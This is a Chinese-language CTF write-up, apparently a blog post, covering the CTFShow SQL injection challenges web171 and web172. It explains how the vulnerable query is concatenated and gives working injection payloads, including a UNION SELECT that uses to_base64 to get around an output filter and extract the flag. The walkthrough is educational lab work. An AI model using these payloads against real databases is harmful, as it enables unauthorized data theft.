首页 > 数据库 >CTFShow sql注入

CTFShow sql注入

时间:2022-09-21 23:01:30浏览次数:85  
标签:语句 username union flag CTFShow sql select 注入

参考文章:https://www.jianshu.com/p/2a374b81d5e7

web171

payload语句

1' or username='flag'--+

image
题目已经提供了我们select查询语句,我们只需要根据该语句进行拼接即可。
该sql语句由三部分组成,可以发现这里是字符型注入,要注意引号的闭合。
sql语句的第一部分
select username,password from user where username !='flag' and id = '
sql语句的第二部分
$_GET['id']
sql语句的第三部分
'limit 1;

web172

之前一直认为这里不支持联合查询,后来看了别人的文章才知道是可以的。但是为什么我之前没有发现呢?因为,我之前总是-1' union select 1,2,3--+这样测,但是这里的select 1一写就错,不能带1,我也不是很明白这里的1为什么不能带上去。应该这样写测试语句-1 union select 2,3--+,可以发现用户名和密码是两个显位。
另外,这里好像不支持order by。

一点教训:要灵活多变,不要死板地遵循步骤,如先order by,再union select 1,2,3,4,...。

这题的加了个判断,如果返回的数据里username='flag',则查询失败。所以这里对返回的username字段进行了加密。
payload语句:
-1' union select to_base64(username),password from ctfshow_user2 where username='flag'--+

标签:语句,username,union,flag,CTFShow,sql,select,注入
From: https://www.cnblogs.com/xjy881/p/16712527.html

相关文章